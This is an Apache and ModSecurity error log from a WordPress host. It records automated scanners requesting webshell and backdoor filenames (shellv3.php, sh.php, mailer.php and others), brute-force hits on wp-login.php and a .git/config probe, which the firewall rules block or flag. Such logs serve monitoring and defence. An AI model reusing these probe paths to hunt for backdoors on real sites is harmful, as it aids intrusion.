[Mon Nov 24 14:53:29.788968 2025] [:error] [pid 16441:tid 16449] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/locks.php
[Mon Nov 24 14:53:30.492151 2025] [:error] [pid 16441:tid 16459] [client 85.237.194.114:36603] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-dsdd.php
[Mon Nov 24 14:53:34.175014 2025] [:error] [pid 16441:tid 16450] [client 85.237.194.114:36603] [client 85.237.194.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/editor/fxp.php"] [unique_id "aSQA7oq_bc5MOa9HflkEzQAAAIY"]
[Mon Nov 24 14:53:35.586601 2025] [:error] [pid 9630:tid 9642] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Mon Nov 24 14:53:36.200128 2025] [:error] [pid 9630:tid 9635] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-uploads.php
[Mon Nov 24 14:53:36.968705 2025] [:error] [pid 9630:tid 9653] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Mon Nov 24 14:53:37.676360 2025] [:error] [pid 9630:tid 9634] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/t.php
[Mon Nov 24 14:53:38.379841 2025] [:error] [pid 9630:tid 9648] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/stindex.php
[Mon Nov 24 14:53:38.979836 2025] [:error] [pid 9630:tid 9655] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/shop.php
[Mon Nov 24 14:53:40.278640 2025] [:error] [pid 9630:tid 9632] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/exit.php
[Mon Nov 24 14:53:40.993192 2025] [:error] [pid 9630:tid 9633] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Mon Nov 24 14:53:41.683242 2025] [:error] [pid 9630:tid 9656] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/max.php
[Mon Nov 24 14:53:42.404673 2025] [:error] [pid 9630:tid 9643] [client 85.237.194.38:41371] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Mon Nov 24 14:53:43.082667 2025] [:error] [pid 9630:tid 9638] [client 85.237.194.38:41371] [client 85.237.194.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aSQA9yrSgUgPGkizt2rLyQAAAEY"]
[Mon Nov 24 14:53:44.384471 2025] [:error] [pid 16441:tid 16455] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Mon Nov 24 14:53:46.402609 2025] [:error] [pid 16441:tid 16463] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/shellv3.php
[Mon Nov 24 14:53:47.077453 2025] [:error] [pid 16441:tid 16450] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/sh.php
[Mon Nov 24 14:53:49.267730 2025] [:error] [pid 16441:tid 16455] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Mon Nov 24 14:53:49.975947 2025] [:error] [pid 16441:tid 16459] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/m.php
[Mon Nov 24 14:53:50.591932 2025] [:error] [pid 16441:tid 16461] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/delete3.php
[Mon Nov 24 14:53:52.088957 2025] [:error] [pid 16441:tid 16460] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/mm.php
[Mon Nov 24 14:53:53.577315 2025] [:error] [pid 16441:tid 16464] [client 181.215.65.77:34479] [client 181.215.65.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.65.77, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aSQBAYq_bc5MOa9HflkE_QAAAJQ"]
[Mon Nov 24 14:53:54.283157 2025] [:error] [pid 16441:tid 16449] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/server.php
[Mon Nov 24 14:53:55.769563 2025] [:error] [pid 16441:tid 16462] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/mailer.php
[Mon Nov 24 14:53:56.575237 2025] [:error] [pid 16441:tid 16448] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/www.php
[Mon Nov 24 14:53:57.983895 2025] [:error] [pid 16441:tid 16447] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Mon Nov 24 14:54:00.089150 2025] [:error] [pid 16441:tid 16454] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Mon Nov 24 14:54:00.917101 2025] [:error] [pid 16441:tid 16463] [client 181.215.65.77:34479] File does not exist: /usr/local/apache/htdocs/suspended-page/shop.php
[Mon Nov 24 14:54:04.390679 2025] [autoindex:error] [pid 16441:tid 16466] [client 181.215.65.77:34479] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 24 15:19:14.751592 2025] [:error] [pid 16516:tid 16529] [client 191.102.151.61:53645] [client 191.102.151.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 191.102.151.61, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSQG8vqZbniwaNwL8XnTvQAAAQo"]
[Mon Nov 24 15:19:14.756751 2025] [:error] [pid 16516:tid 16529] [client 191.102.151.61:53645] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 17:11:14.617540 2025] [:error] [pid 48600:tid 48646] [client 196.240.104.15:35089] [client 196.240.104.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.240.104.15, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSQhMvtOzSUAQvWVjBd4qwAAAdA"]
[Mon Nov 24 17:11:14.622148 2025] [:error] [pid 48600:tid 48646] [client 196.240.104.15:35089] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 18:23:12.851952 2025] [:error] [pid 16441:tid 16461] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php, referer: https://duckduckgo.com/
[Mon Nov 24 18:23:16.475237 2025] [:error] [pid 16441:tid 16444] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php, referer: https://www.google.fr/
[Mon Nov 24 18:23:16.688921 2025] [:error] [pid 16441:tid 16450] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php, referer: https://www.google.fr/
[Mon Nov 24 18:23:16.902143 2025] [:error] [pid 16441:tid 16456] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php, referer: https://www.google.fr/
[Mon Nov 24 18:23:17.119228 2025] [:error] [pid 16441:tid 16466] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php, referer: https://www.google.fr/
[Mon Nov 24 18:23:17.333005 2025] [:error] [pid 16441:tid 16448] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php, referer: https://www.google.de/
[Mon Nov 24 18:23:17.830303 2025] [:error] [pid 16441:tid 16453] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php, referer: https://duckduckgo.com/
[Mon Nov 24 18:23:18.047893 2025] [:error] [pid 16441:tid 16449] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/file4.php, referer: https://www.google.fr/
[Mon Nov 24 18:23:18.307326 2025] [:error] [pid 16441:tid 16464] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php, referer: https://www.yahoo.com/
[Mon Nov 24 18:23:18.522857 2025] [:error] [pid 16441:tid 16454] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php, referer: https://www.google.fr/
[Mon Nov 24 18:23:18.738090 2025] [:error] [pid 16441:tid 16460] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/ds.php, referer: https://www.yahoo.com/
[Mon Nov 24 18:23:18.959914 2025] [:error] [pid 16441:tid 16445] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php, referer: https://www.google.fr/
[Mon Nov 24 18:23:19.199850 2025] [:error] [pid 16441:tid 16459] [client 68.154.10.250:4823] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php, referer: https://www.google.com/
[Mon Nov 24 18:23:32.891135 2025] [autoindex:error] [pid 16441:tid 16468] [client 68.154.10.250:4823] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Nov 24 18:24:34.135162 2025] [:error] [pid 48688:tid 48710] [client 209.42.21.43:44146] [client 209.42.21.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.42.21.43, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSQyYhm2q1FkzLam7A2nmQAAAlI"]
[Mon Nov 24 18:24:34.138983 2025] [:error] [pid 48688:tid 48710] [client 209.42.21.43:44146] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 18:24:35.186994 2025] [:error] [pid 49900:tid 49926] [client 209.42.21.43:44154] [client 209.42.21.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.42.21.43, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSQyYzCyPLrvg06aorkbdgAAABg"]
[Mon Nov 24 18:24:35.194253 2025] [:error] [pid 49900:tid 49926] [client 209.42.21.43:44154] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 20:48:29.049730 2025] [:error] [pid 48599:tid 48603] [client 211.115.73.186:26377] [client 211.115.73.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.115.73.186, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSRUHZzvu6PDJiRKE3JIQQAAAYA"]
[Mon Nov 24 20:48:29.053379 2025] [:error] [pid 48599:tid 48603] [client 211.115.73.186:26377] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 20:48:30.025892 2025] [:error] [pid 16441:tid 16456] [client 211.115.73.186:26741] [client 211.115.73.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.115.73.186, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSRUHoq_bc5MOa9HflmAxgAAAIw"]
[Mon Nov 24 20:48:30.032675 2025] [:error] [pid 16441:tid 16456] [client 211.115.73.186:26741] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 21:25:23.108611 2025] [:error] [pid 48599:tid 48620] [client 52.191.198.92:2074] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Mon Nov 24 21:25:23.340566 2025] [:error] [pid 48599:tid 48611] [client 52.191.198.92:2074] File does not exist: /usr/local/apache/htdocs/suspended-page/kddmxffz.php, referer: www.google.com
[Mon Nov 24 21:25:26.242134 2025] [:error] [pid 48601:tid 48657] [client 52.191.198.92:2477] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Mon Nov 24 21:25:26.575165 2025] [:error] [pid 48601:tid 48672] [client 52.191.198.92:2477] File does not exist: /usr/local/apache/htdocs/suspended-page/lngldcwo.php, referer: www.google.com
[Mon Nov 24 21:45:39.220478 2025] [:error] [pid 16441:tid 16444] [client 193.32.126.212:55543] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aSRhg4q_bc5MOa9HflmTVQAAAIA"]
[Mon Nov 24 21:45:39.715746 2025] [:error] [pid 48600:tid 48644] [client 193.32.126.212:55961] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aSRhg_tOzSUAQvWVjBeiHwAAAc4"]
[Mon Nov 24 21:45:40.207807 2025] [:error] [pid 16549:tid 16569] [client 193.32.126.212:56447] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aSRhhKeWW19A99PUw_doFQAAAVE"]
[Mon Nov 24 22:31:38.596366 2025] [:error] [pid 48600:tid 48645] [client 15.235.159.113:35134] [client 15.235.159.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.235.159.113, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSRsSvtOzSUAQvWVjBepPwAAAc8"]
[Mon Nov 24 22:31:38.600390 2025] [:error] [pid 48600:tid 48645] [client 15.235.159.113:35134] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 22:31:38.963463 2025] [:error] [pid 48599:tid 48618] [client 15.235.159.113:35150] [client 15.235.159.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.235.159.113, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSRsSpzvu6PDJiRKE3JZPAAAAY8"]
[Mon Nov 24 22:31:38.974348 2025] [:error] [pid 48599:tid 48618] [client 15.235.159.113:35150] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 23:59:26.543644 2025] [:error] [pid 48600:tid 48639] [client 5.135.27.193:58472] [client 5.135.27.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.135.27.193, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSSA3vtOzSUAQvWVjBe08QAAAck"]
[Mon Nov 24 23:59:26.545677 2025] [:error] [pid 48600:tid 48639] [client 5.135.27.193:58472] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon Nov 24 23:59:27.506432 2025] [:error] [pid 48601:tid 48677] [client 5.135.27.193:58478] [client 5.135.27.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.135.27.193, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSSA34MM4MaVTk74-AYBzwAAAhQ"]
[Mon Nov 24 23:59:27.514615 2025] [:error] [pid 48601:tid 48677] [client 5.135.27.193:58478] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 03:55:31.988225 2025] [:error] [pid 14078:tid 14137] [client 52.191.198.92:18079] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Tue Nov 25 03:55:32.214616 2025] [:error] [pid 14078:tid 14140] [client 52.191.198.92:18079] File does not exist: /usr/local/apache/htdocs/suspended-page/blnoljjh.php, referer: www.google.com
[Tue Nov 25 03:55:35.380933 2025] [:error] [pid 14078:tid 14148] [client 52.191.198.92:18078] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Tue Nov 25 03:55:35.733321 2025] [:error] [pid 14078:tid 14153] [client 52.191.198.92:18078] File does not exist: /usr/local/apache/htdocs/suspended-page/fadiklqb.php, referer: www.google.com
[Tue Nov 25 03:59:04.490255 2025] [:error] [pid 14078:tid 14145] [client 5.189.165.67:38996] [client 5.189.165.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.165.67, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSS5CNVXYbb0ii_rVoIyrAAAAIg"]
[Tue Nov 25 03:59:04.495991 2025] [:error] [pid 14078:tid 14145] [client 5.189.165.67:38996] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 03:59:05.726108 2025] [:error] [pid 14078:tid 14149] [client 5.189.165.67:39000] [client 5.189.165.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.165.67, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSS5CdVXYbb0ii_rVoIyrQAAAIw"]
[Tue Nov 25 03:59:05.735492 2025] [:error] [pid 14078:tid 14149] [client 5.189.165.67:39000] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 04:20:03.938040 2025] [:error] [pid 14077:tid 14127] [client 51.81.107.180:45466] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Tue Nov 25 05:54:45.446107 2025] [:error] [pid 14076:tid 14086] [client 147.185.41.135:39494] [client 147.185.41.135] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSTUJXsB4Gz6Qw-pvBsR9wAAAAU"]
[Tue Nov 25 07:05:54.050615 2025] [:error] [pid 14688:tid 14702] [client 165.154.38.157:62225] [client 165.154.38.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.154.38.157, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSTk0m9vYrBoEsiDniz-wQAAAQw"]
[Tue Nov 25 07:05:54.055254 2025] [:error] [pid 14688:tid 14702] [client 165.154.38.157:62225] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 07:19:11.775446 2025] [:error] [pid 14688:tid 14693] [client 185.30.32.93:38446] [client 185.30.32.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.30.32.93, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSTn729vYrBoEsiDniwBXwAAAQM"]
[Tue Nov 25 07:19:11.779918 2025] [:error] [pid 14688:tid 14693] [client 185.30.32.93:38446] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 07:19:12.801914 2025] [:error] [pid 14078:tid 14148] [client 185.30.32.93:38452] [client 185.30.32.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.30.32.93, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSTn8NVXYbb0ii_rVoJmGgAAAIs"]
[Tue Nov 25 07:19:12.811049 2025] [:error] [pid 14078:tid 14148] [client 185.30.32.93:38452] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 09:05:13.353320 2025] [:error] [pid 14168:tid 14174] [client 5.189.165.67:56308] [client 5.189.165.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.165.67, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSUAyfR-ZDU0QEgAIIuwWAAAAMM"]
[Tue Nov 25 09:05:13.357314 2025] [:error] [pid 14168:tid 14174] [client 5.189.165.67:56308] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 09:05:14.875706 2025] [:error] [pid 14078:tid 14146] [client 5.189.165.67:56318] [client 5.189.165.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.165.67, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSUAytVXYbb0ii_rVoKGAgAAAIk"]
[Tue Nov 25 09:05:14.882613 2025] [:error] [pid 14078:tid 14146] [client 5.189.165.67:56318] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 09:05:41.706286 2025] [:error] [pid 14078:tid 14149] [client 82.165.90.167:35062] [client 82.165.90.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.90.167, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSUA5dVXYbb0ii_rVoKGKwAAAIw"]
[Tue Nov 25 09:05:41.712652 2025] [:error] [pid 14078:tid 14149] [client 82.165.90.167:35062] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 09:05:42.780869 2025] [:error] [pid 14688:tid 14709] [client 82.165.90.167:35072] [client 82.165.90.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.90.167, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSUA5m9vYrBoEsiDniweVwAAARM"]
[Tue Nov 25 09:05:42.787619 2025] [:error] [pid 14688:tid 14709] [client 82.165.90.167:35072] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 09:29:11.194726 2025] [:error] [pid 14078:tid 14152] [client 144.172.112.41:57145] File does not exist: /usr/local/apache/htdocs/suspended-page/installer.php
[Tue Nov 25 10:58:20.586058 2025] [:error] [pid 14168:tid 14174] [client 103.142.25.107:34360] [client 103.142.25.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.142.25.107, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSUbTPR-ZDU0QEgAIIvMjgAAAMM"]
[Tue Nov 25 10:58:20.590725 2025] [:error] [pid 14168:tid 14174] [client 103.142.25.107:34360] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 10:58:22.309457 2025] [:error] [pid 28740:tid 28806] [client 103.142.25.107:34486] [client 103.142.25.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.142.25.107, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aSUbTlppQCoYxWW6V0X1qgAAAk8"]
[Tue Nov 25 10:58:22.319031 2025] [:error] [pid 28740:tid 28806] [client 103.142.25.107:34486] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Nov 25 14:17:52.001020 2025] [:error] [pid 28609:tid 28639] [client 148.72.140.6:42164] [client 148.72.140.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apple-touch-icon-144x144.png"] [unique_id "aSVKDyGGdT-nZJVs3x17agAAAZU"], referer: http://windfarmcoolants.com.au
[Tue Nov 25 14:17:52.413073 2025] [:error] [pid 14168:tid 14189] [client 148.72.140.6:42176] [client 148.72.140.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apple-touch-icon-144x144.png"] [unique_id "aSVKEPR-ZDU0QEgAIIsbRAAAANI"], referer: http://windfarmcoolants.com.au
[Tue Nov 25 14:17:52.824955 2025] [:error] [pid 14168:tid 14186] [client 148.72.140.6:42188] [client 148.72.140.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/apple-touch-icon-76x76.png"] [unique_id "aSVKEPR-ZDU0QEgAIIsbRQAAAM8"], referer: http://windfarmcoolants.com.au
